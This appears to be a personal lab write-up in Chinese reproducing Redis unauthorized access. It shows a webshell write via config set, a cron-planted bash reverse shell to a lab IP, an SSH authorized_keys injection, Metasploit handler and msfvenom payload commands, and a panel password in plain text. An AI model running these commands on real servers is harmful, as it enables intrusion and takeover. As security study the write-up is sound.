Redis未授权访问漏洞复现过程

CentOS安装redis

从官网https://redis.io/download/下载安装包

上传到/home/strix目录下

解压

tar -zxvf redis-7.2.3.tar.gz -C /usr/local

修改配置文件

vim redis.conf

daemonize no

改成

daemonize yes

下面一行必须改成 bind 0.0.0.0 或注释,否则只能在本机访问

bind 127.0.0.1

如果需要密码访问,取消requirepass的注释,在外网(比如阿里云)这个必须要配置!

requirepass yourpassword

编译

yum install gcc-c++ -y

make && make install

启动redis服务

redis-server redis.conf > redis.log 2>&1 &

netstat -an | grep 6379

设置别名

vim ~/.bashrc

alias redis='/usr/local/redis-7.2.3/src/redis-server /usr/local/redis-7.2.3/redis.conf'

alias rcli='/usr/local/redis-7.2.3/src/redis-cli'

source ~/.bashrc

使用redis启动服务

创建2个服务器

Redis server 192.168.23.135

Redis cli 192.168.23.136

关闭防火墙Close firewall

systemctl stop firewalld.service

systemctl disable firewalld.service

安装小皮面板

Centos安装脚本 yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

安装成功后

请用浏览器访问面板:

外网:http://119.3.119.253:9080/5EF6EA

内网:http://192.168.23.135:9080/5EF6EA

系统初始账号:admin

系统初始密码:ml8mqKulcl

官网:https://www.xp.cn

如果使用的是云服务器,请至安全组开放9080端口

如果使用ftp,请开放21以及30000-30050端口

您修改了面板程序,这是不允许的。

请进入服务器命令行输入xp查看修复方法

动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php

/usr/local/redis-7.2.3/src/redis-cli -h 192.168.23.135 -p 6379

Could not connect to Redis at 192.168.23.135:6379: Connection timed out

not connected> ping 192.168.23.135

firewall closed Could not connect to Redis

改redis版本

因192.168.23.136始终无法连接到192.168.23.135,修改配置后也不行,最终放弃,不知道哪里配置出了问题。2023年11月19号周日花了2个小时也没解决。就决定安装无涯老师装的版本,现在的环境先保留,等复现以后再来查看具体原因。

重新安装Redis

在192.168.23.139/上重新安装redis

cd /usr/local/soft/

wget https://download.redis.io/releases/redis-6.0.9.tar.gz

https://download.redis.io/releases/redis-6.0.9.tar.gz

yum -y install centos-release-scl

yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils

scl enable devtoolset-9 bash

echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

protected-mode 没改我以为是注释掉的,改不改没关系。

建立反弹连接过程

关闭防火墙

systemctl stop firewalld.service

systemctl disable firewalld.service

/usr/local/soft/redis-6.0.9/src/redis-cli -h 192.168.23.143 -p 6379

vim /usr/local/soft/redis-6.0.9/redis.conf

http://192.168.23.143/redis.php

一句话木马

成功使用一句话木马建立反弹连接

命令含义

标准输入 (stdin) :代码为 0 ,使用 < 或

标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

例:

netstat -an|grep 3306 >out.txt // 输出到文件

find / -name "test.py" 2>/dev/null // 过滤报错

0

bash 反弹连接

客户端

nc

readlink -f $(which nc)

一开始并未成功,对防火墙进行如下配置后成功建立反弹连接

firewall-cmd --zone=public --add-port=7777/tcp –permanent

systemctl status firewalld

systemctl start firewalld

firewall-cmd --zone=public --add-port=7777/tcp --permanent

firewall-cmd --reload

systemctl stop firewalld

msf

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.23.133

set lport 7777

run

使用如下命令生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.133 lport=7777 -i 5 -f exe -o test.exe

socat

socat TCP-LISTEN:7777 -192.168.23.133

使用定时任务

corn表达式

在线Cron表达式生成器

set x "\n* * * * * bash -i >& /dev/tcp/192.168.23.154/7777 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

SSH key免密登录

set xxx "\n\n \n\n\n"

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC06QxL3nhJE+EouZTp7YI3abMmVgEufaJhBRIxSqFSNjZI6AfuutZmriHaXFIckPYiO2w5jr8dZFR2Z/pDRRCD02RIntrTixXS8kkfRqLK5mFA1vZ7ACHzFe9H5gvg+ElztdgDkhpH3oc1cF2+6/XHiRXwuGCeNzVHZWCaMVDfZT+8qYSrV4TEVWioFFMak/6AQQPfeLyv+bTBnXfKqszSTIqoqVVpQ85f/1ZPv+uVZJO78ukWtmSJrlxjsZc1ndQy7Brd5zSYpJe1/jFnUnCJws9guZ9u2Oo644FydDs0NvV6lS0S2soBr5OxsXfrXh8V9Zb6jy5EYqofXu3+yyBx root@localhost.localdomain

set xxx "\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC06QxL3nhJE+EouZTp7YI3abMmVgEufaJhBRIxSqFSNjZI6AfuutZmriHaXFIckPYiO2w5jr8dZFR2Z/pDRRCD02RIntrTixXS8kkfRqLK5mFA1vZ7ACHzFe9H5gvg+ElztdgDkhpH3oc1cF2+6/XHiRXwuGCeNzVHZWCaMVDfZT+8qYSrV4TEVWioFFMak/6AQQPfeLyv+bTBnXfKqszSTIqoqVVpQ85f/1ZPv+uVZJO78ukWtmSJrlxjsZc1ndQy7Brd5zSYpJe1/jFnUnCJws9guZ9u2Oo644FydDs0NvV6lS0S2soBr5OxsXfrXh8V9Zb6jy5EYqofXu3+yyBx root@localhost.localdomain\n\n\n"

config set dbfilename authorized_keys

save

config set dir /root/.ssh

ssh -i ./id_rsa root@192.168.23.143

ssh -i ./id_rsa root@192.168.23.143

加固

https://redis.io/docs/management/security/

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值